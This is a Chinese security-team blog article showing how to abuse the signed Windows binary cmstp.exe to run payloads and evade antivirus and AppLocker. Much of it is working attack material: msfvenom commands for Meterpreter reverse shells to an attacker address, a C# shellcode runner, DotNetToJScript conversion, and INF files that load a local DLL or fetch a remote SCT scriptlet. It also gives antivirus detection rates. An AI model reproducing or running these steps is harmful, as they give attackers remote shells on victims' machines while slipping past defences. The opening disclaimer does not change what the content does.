远控免杀专题(40)-白名单Cmstp.exe执行payload(VT查杀率为21-57)
2020-03-02 18:28:30 Author: mp.weixin.qq.com(查看原文) 阅读量:157 收藏

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


几点说明:

1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。


Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。

攻击者可能会使用CMSTP.exe调用恶意的INF文件。与Regsvr32 相似,CMSTP.exe可能被利用从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的,经过签名的Microsoft应用程序,因此该执行过程也可以绕过AppLocker和其他白名单防御。

在windows中文件路径

64位 C:\Windows\System32\cmstp.exe32位 C:\Windows\SysWOW64\cmstp.exe

由于Cmstp.exe加载payload的免杀测试需要杀软的行为检测才合理,静态查杀inf或者sct或者Cmstp.exe文件自身都没有任何意义,所以这里对Cmstp.exe的免杀效果不做评判,以第三种sct文件的免杀率作为参考。

2.1 执行本地dll文件

Cmstp.exe可以通过inf文件加载本地dll,我这里以msf生成的dll为例进行测试。

通过msfvenom生成DLL文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f dll -o test.dll

配置inf文件,其中字段RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。完整代码如下。

[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]RegisterOCXs=RegisterOCXSection[RegisterOCXSection]C:\test\test.dll[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"

在msf中监听

在测试机器执行

cmstp.exe /ni /s cmstp.inf

msf中可正常上线

打开杀软测试,发现360会对行为预警。关闭360后火绒并没有反应。

因为dll文件是msf原生态的肯定被杀很严重,所以这里测dll的免杀就没什么意义了。

2.2 直接执行cmd命令

还可以将上面代码中的RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:

[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]RegisterOCXs=RegisterOCXSectionRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]c:\windows\system32\calc.exe[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"

执行命令,可触发计算器程序。

cmstp.exe /s ./cmstp.inf

2.3 加载执行sct文件

除了DLL文件外,cmstp还能够运行SCT文件。

首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。

1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x64的,注意这个要和后面rundll32的版本相一致。

msfvenom  -p windows/x64/meterpreter/reverse_tcp -a x64 -f csharp  -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x64.csharp

2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。

代码如下,把shell_x64.csharp内容放到相应MsfPayload位置。

using System;using System.Threading;using System.Runtime.InteropServices;namespace MSFWrapper{    public class Program    {        public Program()        {            RunMSF();        }        public static void RunMSF()        {            byte[] MsfPayload =  {0xbb,---shellcode here---0x1e };
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); }}

修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe

3、将exe转换为脚本文件

下载DotNetToJScript:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/DotNetToJScript.zip

将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件

DotNetToJScript.exe -m -o=msf_x64.sct -c=MSFWrapper.Program -v 4 -d  ConsoleApp2.exe

4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码

<?XML version="1.0"?><scriptlet><registration     progid="PoC"    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >	<script language="JScript">		<![CDATA[			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");				]]></script></registration></scriptlet>

原始是这样的

替换后为这样的

注意尾部代码也要替换。

4、将msf_x64.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x64.sct

在msf中监听

然后配置inf文件,和上面的类似,只是UnRegisterOCXSection需要包含scriptlet的URL。最终的INF文件需要包含以下内容:

[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]UnRegisterOCXs=UnRegisterOCXSection[UnRegisterOCXSection]%11%\scrobj.dll,NI,http://10.211.55.2/msf_x64.sct[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"

然后执行

cmstp.exe /s cmstp.inf

msf可正常上线

打开杀软进行测试,依旧360行为预警

上面的msf_x64.sct也可以替换成powersct.sct,这样当powershell被禁用的时候,可以作为备选方案。可以从这里下载https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/powersct.sct。有时候会因为github网络问题执行不成功,可以放在自己服务器上加载。

文件msf_x64.sct在virustotal.com上查杀率为21/57。

2.4 下载并解析远程inf文件

网上提到cmstp还可以加载web服务器远程配置文件,命令如下。

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf

不过我在多种系统进行多次尝试都没成功,会提示一个下面的错误。

cmstp加载远程inf应该只能从Webdav服务器加载。

比如cmstp.inf在内网另一台服务器上,路径为\\10.211.55.28\test\cmstp.inf,内如如下。

[version]Signature=$chicago$AdvancedINF=2.5
[DefaultInstall_SingleUser]UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]%11%\scrobj.dll,NI,http://10.211.55.2/calc64.sct
[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="Yay"ShortSvcName="Yay"

在10.211.55.2上的calc64.sct内容如下:

<?XML version="1.0"?><scriptlet><registration     progid="PoC"    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >	<script language="JScript">		<![CDATA[	    					var r = new ActiveXObject("WScript.Shell").Run("calc.exe");				]]></script></registration></scriptlet>

执行cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf,可触发计算器。

使用CMSTP绕过AppLocker的方法介绍:https://4hou.win/wordpress/?p=20341

使用cmstp绕过应用程序白名单:https://www.cnblogs.com/backlion/p/10493914.html

AppLocker Bypass – CMSTP:https://pentestlab.blog/category/defense-evasion/

powersct.sct:https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f

Windows上传并执行恶意代码的N种姿势:https://cloud.tencent.com/developer/article/1141143

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247485710&amp;idx=1&amp;sn=a6541ec0bb9237d91dbf2c162a5e2be0&amp;chksm=ce5e2b6ff929a279b3361fdc4af7f146b2d09ebbd2c83cdf25e14014bcad7d304ddf9c3a9227#rd
如有侵权请联系:admin#unsafe.sh